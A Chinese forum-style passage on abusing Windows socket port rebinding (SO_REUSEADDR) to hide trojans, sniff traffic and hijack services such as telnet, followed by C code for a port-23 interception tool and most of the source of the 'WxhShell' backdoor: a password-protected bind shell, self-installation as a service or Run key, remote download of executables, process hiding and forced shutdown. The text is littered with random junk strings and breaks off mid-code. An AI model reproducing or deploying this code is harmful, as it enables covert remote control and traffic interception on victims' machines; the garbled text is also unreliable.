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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]6`% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c?-H>u t{kG<J/l saddr.sin_family = AF_INET; Llo"MO*sr /6*42[r saddr.sin_addr.s_addr = htonl(INADDR_ANY); +'a^f5 !pW0qX\1n bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d0ksG$ /~?*=}c^m 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ND;#7/$> %> eiAB_b 这意味着什么?意味着可以进行如下的攻击: p2](_}PK Kc-W&?~y#1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fr3d y%T_pTcU 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kevrsV]/$ /3T1U 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7$=InK KpGhQdR# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ?`ZUR&
20 Hn"RH1Zy 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u6agoK|^9 b$joY*< 6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NLqzi%s eauF~md, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tsjrRMR Yq
KCeg #include %u'ukcL7 #include ~?BXti<! #include ?tbrbkx #include wHy!CP% DWORD WINAPI ClientThread(LPVOID lpParam); fZF@k5*\ int main() HZge!Yp< { }}~ |!8 WORD wVersionRequested; C'x&Py/# DWORD ret; :o3N;*o>)0 WSADATA wsaData; +e``OeXog BOOL val; L,!?Nt\ SOCKADDR_IN saddr; GTd,n= SOCKADDR_IN scaddr; .k !{* int err; MTn{d SOCKET s; (<9u-HF# SOCKET sc;
8A#;WG int caddsize; 4hj|cCrO HANDLE mt; mzgfFNm^G) DWORD tid; Zy/_
E@C}u wVersionRequested = MAKEWORD( 2, 2 ); ;=z:F<Y err = WSAStartup( wVersionRequested, &wsaData ); 4WB0Pt{ if ( err != 0 ) { ktIFI`@w) printf("error!WSAStartup failed!\n"); PW0LG^xp` return -1; |BXg/gW } 2^7`mES saddr.sin_family = AF_INET; AK4t\D)K1 QXK{bxwC //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W=?<<dVYD ?J0y| saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z24q3 3O saddr.sin_port = htons(23); 2?Vd 5xkt if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6gDN`e,@ { L4W5EO$ printf("error!socket failed!\n"); z$sT !QL~ return -1; 9 68Ez
} Pq$n5fZC! val = TRUE; 1% ` Rs
//SO_REUSEADDR选项就是可以实现端口重绑定的 Di{de` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wCBplaojJ { :ws<-Qy printf("error!setsockopt failed!\n"); (bS&D/N. return -1; }SZd } ~}
~4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Vurqt_nb //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !ohN!P7& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Kg]J/|0\ tH4B:Bgj! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #'`{Qv0,
{ AbM'3Mkz ret=GetLastError(); HoAy_7-5 printf("error!bind failed!\n"); 2=}FBA,2 return -1; x8|J-8A( } tuX|\X listen(s,2); ueNS='+m while(1) *un^u-; { u3D)M%e caddsize = sizeof(scaddr); :`sUt1Fw. //接受连接请求 h68 xet; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HzJz+ x: if(sc!=INVALID_SOCKET) 8@R|Km5h { Fr-SvsNFB mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7tp36 TE if(mt==NULL) l[J8!u2Xp { P+}h$_x printf("Thread Creat Failed!\n"); zt%Mx>V@ break; WIGi51yC.x } cMIEtK` } DmcZta8n] CloseHandle(mt); 8P`"M#fI } kx^/*~ex closesocket(s); K=&>t6s< WSACleanup(); !)$Zp\Sg return 0; XWw804ir } Zd+bx*rD DWORD WINAPI ClientThread(LPVOID lpParam) /9X7A;O { Hn:Crl y# SOCKET ss = (SOCKET)lpParam; 7+*WH|Z@ SOCKET sc; D%Z| unsigned char buf[4096]; iy"*5<;*DD SOCKADDR_IN saddr; %iB,IEw long num; O6Y0XL DWORD val; |W^IlqTH DWORD ret; :T~ [ //如果是隐藏端口应用的话,可以在此处加一些判断 EQ_aa@M7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 h+,@G,|D saddr.sin_family = AF_INET; dRMx[7jVA saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :Dp0?&_ saddr.sin_port = htons(23); F'Z,]b'st3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w-jVC^C] { )/P}?`I printf("error!socket failed!\n");
lhJ'bYI return -1; uAk.@nfiEv } p
ll)Y val = 100; $[|mGae if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,x $,l { H?w6C):] ret = GetLastError(); Y/oHu@
_ return -1; +C)~bb* } i/.6>4tE: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lquLT6] { A}!J$V:w] ret = GetLastError(); 9BB=YnKE return -1; HOi`$vX}N } - YBY[%jF> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E-FUlOG& { 1;iUWU1@ printf("error!socket connect failed!\n"); ry]l.@o; closesocket(sc); {8etv:y closesocket(ss); HZOMlOZ return -1; /{2,zW } OrW while(1) JGZBL{8 { n"8Yv~v*2j //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8EYkQ //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~6gPS
13 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @F>D+=hS num = recv(ss,buf,4096,0); [>9is=>o. if(num>0) gDzK{6Z} send(sc,buf,num,0); u&e~1?R else if(num==0) XP}<N&j break; A}w/OA97RO num = recv(sc,buf,4096,0); G/W>S,( if(num>0) atzX;@"K send(ss,buf,num,0); >GuM]qn else if(num==0) dWW.Y*339 break; 6~+emlD } O&&~NXI\ closesocket(ss); 3U}%2ARo_ closesocket(sc); ^f@=:eWI return 0 ; [><Tm\(: } @+DX.9 fsXy"#mOkD
#Q5o)x ========================================================== tBSW|0 MfkZ 下边附上一个代码,,WXhSHELL {)Xy%QV u:b=\T L ========================================================== p}P-6&k,U #z42C?V #include "stdafx.h" cb bFw s[ N@0 #include <stdio.h> zeRyL3fnmb #include <string.h> m+9#5a- #include <windows.h> ;a3}~s #include <winsock2.h> |a@L}m #include <winsvc.h> 0 {mex4 #include <urlmon.h> Zd&S@Z ?cZlN! #pragma comment (lib, "Ws2_32.lib") [Qr"cR^ #pragma comment (lib, "urlmon.lib") !m$jk2< ,,TnIouy #define MAX_USER 100 // 最大客户端连接数 qP;OaM
CX #define BUF_SOCK 200 // sock buffer 4K74=r),i #define KEY_BUFF 255 // 输入 buffer *ui</+ 6B-16 #define REBOOT 0 // 重启 Wl4%GB #define SHUTDOWN 1 // 关机 =V5%+/r +f 5-M-X#( #define DEF_PORT 5000 // 监听端口 AwN!;t_0+N !'Kjx #define REG_LEN 16 // 注册表键长度 `mqMLo* #define SVC_LEN 80 // NT服务名长度 \NC3'G:Ii Mihg: // 从dll定义API >3bCTE typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,?3G;- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z{>Rc"%\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GthYzd:'hJ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8>V5dEbx' Gh$^ { // wxhshell配置信息 Zc2PepIg struct WSCFG { 0YHFvy) int ws_port; // 监听端口 D{!IW!w char ws_passstr[REG_LEN]; // 口令 g&.=2uP int ws_autoins; // 安装标记, 1=yes 0=no I@3MO0V^ char ws_regname[REG_LEN]; // 注册表键名 e(yh[7p= char ws_svcname[REG_LEN]; // 服务名 n`KY9[0U= char ws_svcdisp[SVC_LEN]; // 服务显示名 @pxcpXCy char ws_svcdesc[SVC_LEN]; // 服务描述信息 G&dKY h\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OJxl<Q=z int ws_downexe; // 下载执行标记, 1=yes 0=no }\LQ3y"[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" F!do~Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i9$ Av $8FUfJ1@ }; snJ129}A Dzbz)Zst // default Wxhshell configuration &wX]_:? struct WSCFG wscfg={DEF_PORT, cnLro "xuhuanlingzhe",
3CJwj 1, #/]nxW.S "Wxhshell", ;Xw~D_uv "Wxhshell", ##{taR8 "WxhShell Service", (w{j6).3Dj "Wrsky Windows CmdShell Service", %3rP`A "Please Input Your Password: ", [
3HfQ 1, ctUp=po " http://www.wrsky.com/wxhshell.exe", YzWz| "Wxhshell.exe" #Dac~>a' };
@8
6f A=4OWV? // 消息定义模块 3sk9`=[{$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $J2Gf(RU char *msg_ws_prompt="\n\r? for help\n\r#>"; n*$ g]G$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 'Vbi VLWD char *msg_ws_ext="\n\rExit."; Xeajxcop# char *msg_ws_end="\n\rQuit."; /E>e"tvss char *msg_ws_boot="\n\rReboot..."; [!z,lY> char *msg_ws_poff="\n\rShutdown..."; u4j5w char *msg_ws_down="\n\rSave to "; XilS!, P%zK;#8V char *msg_ws_err="\n\rErr!"; CWlw0X char *msg_ws_ok="\n\rOK!"; M`>E|"< 1"g<0
W char ExeFile[MAX_PATH]; g5yJfRLxp int nUser = 0; ]?*wbxU0 HANDLE handles[MAX_USER]; r3Ykz%6 int OsIsNt; $C\BcKlmv :%.D78& SERVICE_STATUS serviceStatus; HV.t6@\}; SERVICE_STATUS_HANDLE hServiceStatusHandle; O84i;S+-p m2o0y++TjW // 函数声明 ]tD]Wx% int Install(void); 3u;oQ5<(v int Uninstall(void); =}*0-\QG int DownloadFile(char *sURL, SOCKET wsh); *or(1DXP8 int Boot(int flag); ]oxZ77ciL void HideProc(void); "fI6Cpc int GetOsVer(void); 0mnw{fE8_ int Wxhshell(SOCKET wsl); _LPHPj^Pg void TalkWithClient(void *cs); w@b)g int CmdShell(SOCKET sock); "8RSvT<W^5 int StartFromService(void); ! z**y}<T int StartWxhshell(LPSTR lpCmdLine); P'2Qen* E3i4=!Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6-I'>\U~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,'+kBZOv +H.`MZ= // 数据结构和表定义 ]A"h&`Cvt SERVICE_TABLE_ENTRY DispatchTable[] = ;]iRk { G#CXs:1pd+ {wscfg.ws_svcname, NTServiceMain}, liZxBs
:%i {NULL, NULL} ?0SEMmp`H }; #?E"x/$Y6 RpK@?[4s // 自我安装 g*Phv|kI int Install(void) K8~d^G { +:f"Y0 char svExeFile[MAX_PATH]; hc1N~$3!G HKEY key; `gJ(0#ac strcpy(svExeFile,ExeFile); SIllU yr6V3],Tp // 如果是win9x系统,修改注册表设为自启动 "zc l|@ if(!OsIsNt) { R=dC4; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O=lzT~G|4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?(PKeq6 RegCloseKey(key); nu^436MSOa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -12U4h<e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a}d@
T RegCloseKey(key); d1*<Ll9K return 0; ebq4g387X } nNm`Hfi } .N3mb6#[R } 2|,VqVb else { C+]I@Go'Tk -} +[ // 如果是NT以上系统,安装为系统服务 u!s2BC0}N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~@!bsLSMU if (schSCManager!=0) .6> w'F{> { R/_&m$ZB SC_HANDLE schService = CreateService %C0Dw\A*: ( B[}6-2<>?C schSCManager, H.;Q+A,8^ wscfg.ws_svcname, B1gR5p 0 wscfg.ws_svcdisp, E@\e$?*X SERVICE_ALL_ACCESS, *R"/ |Ka SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O<I- SERVICE_AUTO_START, lFkR=!?= SERVICE_ERROR_NORMAL, 7,MR*TO, svExeFile, G5!^*jf NULL, \^LFkp NULL, <$YlH@;)`a NULL, Lr+$_ t}r NULL, D=$)n_F NULL #z(]xI)" ); Q/?$x*\> if (schService!=0) [K Qi.u { {_}I!`opr$ CloseServiceHandle(schService); 8(De^H lO CloseServiceHandle(schSCManager); df=f62 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~~.}ah/_d strcat(svExeFile,wscfg.ws_svcname); ta0|^KAA if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xG 1nGO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YR70BOxK RegCloseKey(key); [ )F<V! return 0; N#]ypl } f^e)O$N9] } SJLis"8 CloseServiceHandle(schSCManager); 7=uj2.J6 } JT?h1v<H] } WA qINLdX _g8yDfcLG return 1; ^Pf WG* }
y7{?Ip4[ [UR-I0 s!/ // 自我卸载 @iiT< int Uninstall(void) hoP]9&<T { ^
9sjj HKEY key; W)/#0*7 5G#n"}T if(!OsIsNt) { ^q&x7Kv% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K"6vXv4QO RegDeleteValue(key,wscfg.ws_regname); iscz}E,Y RegCloseKey(key); #Z #-Ht if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sA~]$A;DM! RegDeleteValue(key,wscfg.ws_regname); mq l
Z?- RegCloseKey(key); Ef\-VKh return 0; mDWG7 Asp } i%/+5gq } x;S @bY } wzA$'+Mb else { [^)g%|W OI*H,Z" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
G*m0\ if (schSCManager!=0) dr(*T { m 5.Zu. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v19-./H^
j if (schService!=0) 4*L_)z&4; { @~e5<:|5# if(DeleteService(schService)!=0) { -=="<0c CloseServiceHandle(schService); +vH4MwG$.& CloseServiceHandle(schSCManager); J,hCvm return 0; mw!F{pw } PCvWS.{ CloseServiceHandle(schService); !if } <%d>v-=B CloseServiceHandle(schSCManager); b}f~il } SBpL6~NW } \zY!qpX< w
xH7?tsf return 1; 45e~6", }
XX@ZQcN dG{A~Z z // 从指定url下载文件 Y*^[P,+J*} int DownloadFile(char *sURL, SOCKET wsh) 0@(&eH= { eRYK3W HRESULT hr; \RiP
char seps[]= "/"; *hx char *token; vdZW%-A&\ char *file; +z( Lr=G char myURL[MAX_PATH]; eDMO]5}Ht char myFILE[MAX_PATH]; ]lbuy7xj63 M{@(G5 strcpy(myURL,sURL); =(Mch~
token=strtok(myURL,seps); g(052]
while(token!=NULL) f 2.HF@ { \zkg file=token; @- xjfC\d token=strtok(NULL,seps); R5D1w+ } XUYtEf pkzaNY/q GetCurrentDirectory(MAX_PATH,myFILE); x4 yR8n( strcat(myFILE, "\\"); WY/}1X9.% strcat(myFILE, file); $X6h|?3U, send(wsh,myFILE,strlen(myFILE),0);
}pYqWTG send(wsh,"...",3,0); >j/w@Fj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f?Lw)hMrA if(hr==S_OK)
;'|Ey return 0; l;Wj] else `Oa
WGZ[ return 1; ~ a: Oz95 } rH-23S NOva'qk // 系统电源模块 %Zi} MPx int Boot(int flag) p'%s=TGwv { WE?5ehEme HANDLE hToken; ]/Pn
EU[ TOKEN_PRIVILEGES tkp; fex@,I&
f8~_E if(OsIsNt) { W4S,6( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <YY 14p LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SU0
hma8 tkp.PrivilegeCount = 1; ! mHO$bQ" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (HVGlw'` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X8|, if(flag==REBOOT) { C _Dn{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;+%rw 2Z,B return 0; r&CiSMS* } t0S1QC+ else { Cye.gsCT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z_HdISy0 return 0; 3w=J'(RU } Vksuu@cch } Hka2 else { L,\Iasv if(flag==REBOOT) { aUp
g u" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KoT\pY^7\ return 0; g#bRT*,L } ^W^OfY else { @dKTx#gZ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7I}uZ/N return 0; Y]>t[Lo% } eFgA 8kY) } 7dWS ,bi^P>X return 1;
P0@,fd< } Tk}]Gev j%kncGS // win9x进程隐藏模块 (=0.in Z void HideProc(void) ~$'awY { F8=+j_UGI By|4m HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .Mbz3;i0 if ( hKernel != NULL ) l#o
~W` { .A|udZ, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S[gx{Bxiw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7#XzrT] FreeLibrary(hKernel); {c'lhUB } ]Ze1s02( 0B2t"(& return; 4x34u}l } %J(:ADu] W\3X=@|u) // 获取操作系统版本 Y<OFsWYY int GetOsVer(void) nlP;nl W { T)/eeZ$ OSVERSIONINFO winfo; 0J9x9j`&j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lA]8&+,ZM GetVersionEx(&winfo); ?,mmYW6TjB if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1}x%%RD_ return 1; HJ"GnZp< else uRvP hkqm return 0; ,+k\p5P } /v{I )nkY_'BV // 客户端句柄模块 4(+PD&_J int Wxhshell(SOCKET wsl) %b$>qW\*& { Et$2Y-L. SOCKET wsh; ^8WRqQdx struct sockaddr_in client; t.<i:#rj>l DWORD myID; |Cv!,]9:r ^#pEPVkY while(nUser<MAX_USER) teRTu { /^ts9: int nSize=sizeof(client); >MZ/|`[M wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h p1Bi if(wsh==INVALID_SOCKET) return 1; <'u'#E@"sl Txu/{M, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BGSw~6 if(handles[nUser]==0) y29m/i: closesocket(wsh); P.cyO3l else * 4'"2" nUser++; {7[Ox<Ho } Jy)/%p~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O.? JmE F9PxSk_\9 return 0; itz,mrP } ("KF'fp&M2 |!ELV7?( // 关闭 socket "oyo#-5z void CloseIt(SOCKET wsh) &ZO0r ^ { _a, s
) closesocket(wsh); ,1`z"7\W nUser--; \fOEqe*5SM ExitThread(0); vx
=&QavL } #!=tDc
& VbYdZCC // 客户端请求句柄 )%TmAaj9d void TalkWithClient(void *cs) }f ?y*
H { mH(:?_KrS- !
nx{
X SOCKET wsh=(SOCKET)cs; _`X:jj> char pwd[SVC_LEN]; ?ub35NLa char cmd[KEY_BUFF]; Pz7XAcPQ( char chr[1]; }>\C{ClI int i,j; kh<2BOV ctQ/wrkU while (nUser < MAX_USER) { :FF=a3/"6 4euO1= if(wscfg.ws_passstr) { gXU8hTd8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u8^lB7!e/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7GGUV //ZeroMemory(pwd,KEY_BUFF); (Ld i|jL i=0; Iu{V,U while(i<SVC_LEN) { )J |6 -C TeQV?ZQ#} // 设置超时 rv;3~'V fd_set FdRead; DU^loB+ struct timeval TimeOut; P?<y%c< FD_ZERO(&FdRead); , gHDx FD_SET(wsh,&FdRead); _1^'(5f$ TimeOut.tv_sec=8; y_,bu^+* TimeOut.tv_usec=0; YSMAd-Ef- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [[ZJ]^n, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )7@0[> )oZ dj` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lZ0 =;I pwd =chr[0]; *p d@.|^)m if(chr[0]==0xd || chr[0]==0xa) { 9WHddDA pwd=0; AA_%<zK break; x-c"%Z| } M|-)GvR$J i++; _F{C\} } pAEx#ck CTK;dM'uQ // 如果是非法用户,关闭 socket *Ex|9FCt$ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iso4]>LF } '-6~tWC~7 U*:!W=XN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g0H[*"hj send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'qi}|I P>L +t`' while(1) { 58K5ZZG RSds8\tk ZeroMemory(cmd,KEY_BUFF);
)jj0^f1!j J,G
lIv.A // 自动支持客户端 telnet标准 )0MB9RMk1 j=0; \v{=gK while(j<KEY_BUFF) { V~bD)?M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X]=t> cmd[j]=chr[0]; $e\M_hp*J if(chr[0]==0xa || chr[0]==0xd) { `/g
UV cmd[j]=0; [lAp62i5 break; m|# y
>4 } NI5``BwpO j++; n%-0V> } PFR:>^wK2 0V]s:S // 下载文件 l%ZhA=TKQ if(strstr(cmd,"http://")) { J1kM\8%b\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); YqG7h,F if(DownloadFile(cmd,wsh)) l2d{ 73h send(wsh,msg_ws_err,strlen(msg_ws_err),0); ToQ"Iy? else Ymgw-NJ;( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iE{&*.q_}> } ,Q,^3*HX9} else { Q?T]MUY(L VpUAeWb switch(cmd[0]) { &zhAh1m 8fb'yjIC // 帮助 uEYtE7 case '?': { tgaO!{9I? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X8|EHb< break;
xPgBV~ } "L1Zi.) // 安装 d3Rw!slIq case 'i': { ':W[ A if(Install()) HDKbF/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); tDo"K3 else fnY.ao1-s[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +#By*;BJ break; 8Y3I0S } h~26WLf. // 卸载 1}37Q&2 case 'r': { :KN-F86i if(Uninstall()) k8Xm n6X send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1cGmg1U; else :LTN!jj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nm+s{ break; G`zm@QL } .2pK.$. // 显示 wxhshell 所在路径 Ah<+y\C case 'p': { $"&JWT!# char svExeFile[MAX_PATH]; {)"vN(mX strcpy(svExeFile,"\n\r"); fV:83|eQ strcat(svExeFile,ExeFile); .o8t+X'G send(wsh,svExeFile,strlen(svExeFile),0); &R siVBA break; q =Il|Nb> } m4& /s // 重启 w*!aZ,P case 'b': { RyN s6 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I|J/F}@p if(Boot(REBOOT)) f-d1KNY send(wsh,msg_ws_err,strlen(msg_ws_err),0); |' . else { uocGbi:V'; closesocket(wsh); kl,3IKHa ExitThread(0); s7EinI{^ } L(o15 break; e*!kZAf } qVPeB,kIz // 关机 rbQR,Nf2x case 'd': { CNIsZv@Q send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RL<c>PY if(Boot(SHUTDOWN)) Ha ]YJ} send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;WCTMy} else { q9NoI(]e closesocket(wsh); _FEFx ExitThread(0); Nluoqoac } X@f}Q`{Ymj break; 2[CdZ(k]5 } iO[<1? // 获取shell I l.K"ll case 's': { >f'g0g CmdShell(wsh); &/b~k3{M_ closesocket(wsh); MPk5^ua: ExitThread(0); rs.M]8a2{& break; 8V(pugJ } PVOv[% // 退出 Vg23!E case 'x': { njw|JnDv send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ETLD$=iS CloseIt(wsh); c(%|: P^ break; oE~Bq/p } Q,9oKg // 离开 j.kG};f case 'q': { L-\GHu~) send(wsh,msg_ws_end,strlen(msg_ws_end),0); go"Hf_ closesocket(wsh); 2"5v[,$1H WSACleanup(); :Yks|VJ1 exit(1); s@DLt+ O5 break; iX\X>W$P } d| {r5[& } g*"P:n71 } ]:f%l
mEy \L\b $4$d // 提示信息 0RK!/:' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LK"69Qx?5q } * 4Izy14e } yZ`wfj$Jj Y<rU#Z #T return; Uwi7) } q]M0md X76e&~ // shell模块句柄 }T$p)" int CmdShell(SOCKET sock) f
{"?%Ku# { 0LKRN|@ STARTUPINFO si; '=6\v! ZeroMemory(&si,sizeof(si)); ;\l,5EG si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {_Gs*<. si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZW}_Qs PROCESS_INFORMATION ProcessInfo; mQ=#nk$~g char cmdline[]="cmd"; L:8q8i CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IMfqiH) return 0; )/EO&F } 'ah[(F<*@e \G3rX9xG // 自身启动模式 X|8c>_} int StartFromService(void) m9A!D { Bw{I;rW{2 typedef struct -GgA&dh { YDFyX){ DWORD ExitStatus; (khL-F DWORD PebBaseAddress; ,iq4Iw DWORD AffinityMask; Ki~1qu: DWORD BasePriority; yOg+iFTr ULONG UniqueProcessId; O#u=c1
?: ULONG InheritedFromUniqueProcessId; ,u
g@f-T } PROCESS_BASIC_INFORMATION; AFfAtu n}77##+R&C PROCNTQSIP NtQueryInformationProcess; 2dzrRH A= {UL static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p6WX9\qS( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6i*sm.SDw 4,0{7MLgK HANDLE hProcess; ;Q&5,<
